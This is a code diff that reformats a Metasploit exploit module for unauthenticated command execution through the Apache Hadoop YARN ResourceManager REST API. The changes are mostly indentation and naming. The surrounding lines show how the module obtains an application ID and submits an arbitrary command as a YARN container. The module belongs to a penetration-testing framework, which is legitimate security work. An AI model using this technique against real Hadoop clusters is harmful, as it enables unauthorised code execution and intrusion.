Update mismatch indentation and others

modules/exploits/linux/http/hadoop_unauth_exec.rb

@@ -9,11 +9,11 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::CmdStager
 
-  def initialize(info={})
+  def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Hadoop YARN ResourceManager Unauthorized Command Execution',
+      'Name'           => 'Hadoop YARN ResourceManager Unauthenticated Command Execution',
       'Description'    => %q{
-          This module exploits an unauthorized command execution vulnerability in Apache Hadoop through ResourceManager REST API.
+          This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -38,16 +38,14 @@ class MetasploitModule < Msf::Exploit::Remote
       'DefaultTarget'  => 0
       ))
 
-    register_options([
-      Opt::RPORT(8088)
-    ])
+    register_options([Opt::RPORT(8088)])
   end
 
 
   def check
     res = send_request_cgi(
-      'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
-      'method'        => 'POST'
+      'uri'         => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
+      'method'      => 'POST'
     )
 
     unless res
@@ -69,8 +67,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def execute_command(cmd, opts = {})
     res = send_request_cgi(
-      'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
-      'method'        => 'POST'
+      'uri'         => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
+      'method'      => 'POST'
     )
 
     app_id = res.get_json_document['application-id']
@@ -80,12 +78,12 @@ class MetasploitModule < Msf::Exploit::Remote
       'application-name'    => Rex::Text.rand_text_alpha_lower(4..12),
       'application-type'    => 'YARN',
       'am-container-spec'   => {
-          'commands' => {'command' => "#{cmd}"},
+          'commands' => {'command' => cmd.to_s},
       }
     }
 
     res = send_request_cgi(
-      'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'),
+      'uri'               => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'),
       'method'            => 'POST',
       'ctype'             => 'application/json',
       'data'              => post.to_json